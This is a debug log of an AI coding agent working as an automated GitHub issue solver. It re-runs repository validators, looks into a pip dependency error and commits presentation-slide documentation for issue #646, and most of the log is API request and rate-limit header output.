\"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T08:01:37.013Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:01:37.013Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:01:37.013Z] [INFO]   \"uuid\": \"7c937bc1-58ad-44a9-a4bd-1ed14f1aaaca\"\n[2026-09-29T08:01:37.013Z] [INFO] }\n[2026-09-29T08:02:04.303Z] [INFO] {\n[2026-09-29T08:02:04.303Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"task_id\": \"b7pz11o1n\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"summary\": \"Re-run validators after edits\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"uuid\": \"f86755a5-85ff-4d7e-aa0f-1626bbb37717\",\n[2026-09-29T08:02:04.303Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:02:04.303Z] [INFO] }\n[2026-09-29T08:02:04.553Z] [INFO] {\n[2026-09-29T08:02:04.553Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"message\": {\n[2026-09-29T08:02:04.553Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"content\": [\n[2026-09-29T08:02:04.553Z] [INFO]       {\n[2026-09-29T08:02:04.553Z] [INFO]         \"tool_use_id\": \"toolu_01JFcauDpbtfSD12yE6TAn8B\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"content\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\nPASS bash tools/test-validate-rrp-links.sh\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nexit 2\",\n[2026-09-29T08:02:04.553Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:04.553Z] [INFO]       }\n[2026-09-29T08:02:04.553Z] [INFO]     ]\n[2026-09-29T08:02:04.553Z] [INFO]   },\n[2026-09-29T08:02:04.553Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:04.553Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"uuid\": \"7fb300bd-46d3-4d31-8d22-94af77f5d418\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:04.499Z\",\n[2026-09-29T08:02:04.553Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:04.553Z] [INFO]     \"stdout\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\nPASS bash tools/test-validate-rrp-links.sh\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nexit 2\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:04.553Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:04.553Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:04.553Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:04.553Z] [INFO]   }\n[2026-09-29T08:02:04.553Z] [INFO] }\n[2026-09-29T08:02:05.230Z] [STDOUT] [log_08adca] sending request {\n[2026-09-29T08:02:05.235Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:05.242Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:05.255Z] [STDOUT]   options: {\n[2026-09-29T08:02:05.262Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:05.266Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:05.277Z] [STDOUT]     body: {\n[2026-09-29T08:02:05.279Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:05.282Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:05.287Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:05.290Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:05.295Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:05.315Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:05.322Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:05.329Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:05.345Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:05.350Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:05.356Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:05.362Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:05.371Z] [STDOUT]     },\n[2026-09-29T08:02:05.375Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:05.379Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:05.383Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:05.385Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:05.406Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:05.409Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:05.412Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:05.416Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:05.419Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:05.426Z] [STDOUT]     },\n[2026-09-29T08:02:05.441Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:05.449Z] [STDOUT]   },\n[2026-09-29T08:02:05.461Z] [STDOUT]   headers: {\n[2026-09-29T08:02:05.464Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:05.470Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:05.476Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:05.480Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:05.487Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:05.496Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:05.500Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:05.503Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:05.508Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:05.511Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=87448\",\n[2026-09-29T08:02:05.514Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:05.516Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:05.518Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:05.520Z] [STDOUT]     \"x-client-request-id\": \"04059fd8-2287-49e8-96e1-ca8f008c9dee\",\n[2026-09-29T08:02:05.523Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:05.530Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:05.532Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:05.538Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:05.540Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:05.543Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:05.545Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:05.547Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:05.554Z] [STDOUT]   },\n[2026-09-29T08:02:05.556Z] [STDOUT] }\n[2026-09-29T08:02:06.168Z] [STDOUT] [log_08adca, request-id: \"req_011CfXP2WPA4ow2nTFBzdLdZ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 958ms\n[2026-09-29T08:02:06.173Z] [STDOUT] [log_08adca] response start {\n[2026-09-29T08:02:06.177Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:06.185Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:06.193Z] [STDOUT]   headers: {\n[2026-09-29T08:02:06.200Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:06.204Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:06.208Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:06.214Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.45\",\n[2026-09-29T08:02:06.252Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:06.256Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.258Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:06.261Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:06.263Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:06.266Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:06.276Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:06.284Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:06.287Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:06.291Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.293Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:06.295Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:06.296Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:06.299Z] [STDOUT]     \"cf-ray\": \"a42976aee8535d90-FRA\",\n[2026-09-29T08:02:06.301Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:06.303Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:06.304Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:06.306Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:06.313Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:06 GMT\",\n[2026-09-29T08:02:06.315Z] [STDOUT]     \"request-id\": \"req_011CfXP2WPA4ow2nTFBzdLdZ\",\n[2026-09-29T08:02:06.318Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:06.320Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:06.322Z] [STDOUT]     traceresponse: \"00-b476b110f1f5faacc0123d57231e78e6-6ce84413478ea198-01\",\n[2026-09-29T08:02:06.323Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:06.326Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:06.327Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:06.329Z] [STDOUT]   },\n[2026-09-29T08:02:06.332Z] [STDOUT]   durationMs: 958,\n[2026-09-29T08:02:06.334Z] [STDOUT] }\n[2026-09-29T08:02:06.336Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:06.338Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:06 GMT\",\n[2026-09-29T08:02:06.340Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:06.342Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:06.344Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:06.345Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:06.347Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:06.354Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:06.358Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:06.360Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:06.363Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:06.366Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:06.370Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:06.372Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:06.375Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.45\",\n[2026-09-29T08:02:06.377Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:06.379Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:06.381Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.383Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:06.387Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:06.389Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:06.391Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:06.393Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:06.396Z] [STDOUT]   \"request-id\": \"req_011CfXP2WPA4ow2nTFBzdLdZ\",\n[2026-09-29T08:02:06.398Z] [STDOUT]   \"traceresponse\": \"00-b476b110f1f5faacc0123d57231e78e6-6ce84413478ea198-01\",\n[2026-09-29T08:02:06.401Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:06.403Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:06.406Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:06.408Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:06.411Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:06.413Z] [STDOUT]   \"cf-ray\": \"a42976aee8535d90-FRA\",\n[2026-09-29T08:02:06.417Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:06.420Z] [STDOUT] [log_08adca] response parsed {\n[2026-09-29T08:02:06.423Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:06.425Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:06.427Z] [STDOUT]   body: X {\n[2026-09-29T08:02:06.429Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:06.432Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:06.434Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:06.438Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:06.443Z] [STDOUT]     },\n[2026-09-29T08:02:06.453Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:06.455Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:06.458Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:06.460Z] [STDOUT]   },\n[2026-09-29T08:02:06.461Z] [STDOUT]   durationMs: 967,\n[2026-09-29T08:02:06.463Z] [STDOUT] }\n[2026-09-29T08:02:07.517Z] [INFO] {\n[2026-09-29T08:02:07.517Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:07.517Z] [INFO]   \"message\": {\n[2026-09-29T08:02:07.517Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"id\": \"msg_011CfXP2WoxQF47raVcK11kP\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:07.517Z] [INFO]     \"content\": [\n[2026-09-29T08:02:07.517Z] [INFO]       {\n[2026-09-29T08:02:07.517Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"id\": \"toolu_01QfhgpQtTZB6TyJMd5p7aAQ\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:07.517Z] [INFO]         \"input\": {\n[2026-09-29T08:02:07.517Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; tail -5 /tmp/pip.log; cat requirements.txt; grep -n 'install pinned' -r tools/*.sh projects/ba-ai-process/dist/*/tools/*.py 2>/dev/null | head -3\",\n[2026-09-29T08:02:07.517Z] [INFO]           \"description\": \"Check why dependencies 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:11.740Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:11.743Z] [STDOUT]   body: X {\n[2026-09-29T08:02:11.747Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:11.749Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:11.752Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:11.754Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:11.756Z] [STDOUT]     },\n[2026-09-29T08:02:11.759Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:11.761Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:11.770Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:11.773Z] [STDOUT]   },\n[2026-09-29T08:02:11.779Z] [STDOUT]   durationMs: 875,\n[2026-09-29T08:02:11.785Z] [STDOUT] }\n[2026-09-29T08:02:12.345Z] [INFO] {\n[2026-09-29T08:02:12.345Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:12.345Z] [INFO] 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\"content\": [\n[2026-09-29T08:02:12.493Z] [INFO]       {\n[2026-09-29T08:02:12.493Z] [INFO]         \"tool_use_id\": \"toolu_01UHkgRF2UyKgcXL6pYGEfZq\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"content\": \"Command running in background with ID: bciyyo5i9. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bciyyo5i9.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:02:12.493Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:12.493Z] [INFO]       }\n[2026-09-29T08:02:12.493Z] [INFO]     ]\n[2026-09-29T08:02:12.493Z] [INFO]   },\n[2026-09-29T08:02:12.493Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:12.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"uuid\": \"4a609197-0826-4031-807b-16ae0da21db8\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:12.480Z\",\n[2026-09-29T08:02:12.493Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:12.493Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:02:12.493Z] [INFO]     \"backgroundTaskId\": \"bciyyo5i9\",\n[2026-09-29T08:02:12.493Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:02:12.493Z] [INFO]   }\n[2026-09-29T08:02:12.493Z] [INFO] }\n[2026-09-29T08:02:14.453Z] [INFO] {\n[2026-09-29T08:02:14.453Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:14.453Z] [INFO]   \"message\": {\n[2026-09-29T08:02:14.453Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"id\": \"msg_011CfXP2pHw62t2mvx5ZZy7H\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:14.453Z] [INFO]     \"content\": [\n[2026-09-29T08:02:14.453Z] [INFO]       {\n[2026-09-29T08:02:14.453Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"id\": \"toolu_01SKgeKdkqgzf6NtYHhEuGaH\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:14.453Z] [INFO]         \"input\": {\n[2026-09-29T08:02:14.453Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git add -A && git commit -q -m \\\"docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n\\nTwo linked documents for the Head of AI development at Mango, synced by\\nslide number: a 10-slide Assertion-Evidence template with image prompts\\nand absolute source links, and a speaker script with bridges and a Q&A\\nbank for a technical audience. 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[STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:20.541Z] [STDOUT]   \"request-id\": \"req_011CfXP3XnmnPiBAY9XSbXtR\",\n[2026-09-29T08:02:20.544Z] [STDOUT]   \"traceresponse\": \"00-7eb13a9a527d0442eddccb4b23abb40c-f70ed75d36529798-01\",\n[2026-09-29T08:02:20.548Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:20.550Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:20.553Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:20.556Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:20.558Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:20.560Z] [STDOUT]   \"cf-ray\": \"a4297705cbc25d90-FRA\",\n[2026-09-29T08:02:20.563Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:20.566Z] [STDOUT] [log_609179] response parsed {\n[2026-09-29T08:02:20.568Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:20.571Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:20.573Z] [STDOUT]   body: X {\n[2026-09-29T08:02:20.576Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:20.578Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:20.580Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:20.583Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:20.585Z] [STDOUT]     },\n[2026-09-29T08:02:20.587Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:20.589Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:20.596Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:20.601Z] [STDOUT]   },\n[2026-09-29T08:02:20.604Z] [STDOUT]   durationMs: 1179,\n[2026-09-29T08:02:20.609Z] [STDOUT] }\n[2026-09-29T08:02:20.613Z] [INFO] {\n[2026-09-29T08:02:20.613Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:20.613Z] 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#646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\n[2026-09-29T08:02:28.278Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:28.278Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:28.278Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:28.278Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:28.278Z] [INFO]   }\n[2026-09-29T08:02:28.278Z] [INFO] }\n[2026-09-29T08:02:28.357Z] [STDOUT] [log_266a87] sending request {\n[2026-09-29T08:02:28.360Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:28.369Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:28.371Z] [STDOUT]   options: {\n[2026-09-29T08:02:28.374Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:28.377Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:28.381Z] [STDOUT]     body: {\n[2026-09-29T08:02:28.392Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:28.396Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:28.401Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:28.405Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:28.408Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:28.412Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:28.416Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:28.418Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:28.422Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:28.425Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:28.427Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:28.430Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:28.434Z] [STDOUT]     },\n[2026-09-29T08:02:28.437Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:28.439Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:28.442Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:28.446Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:28.449Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:28.451Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:28.454Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:28.456Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:28.458Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:28.461Z] [STDOUT]     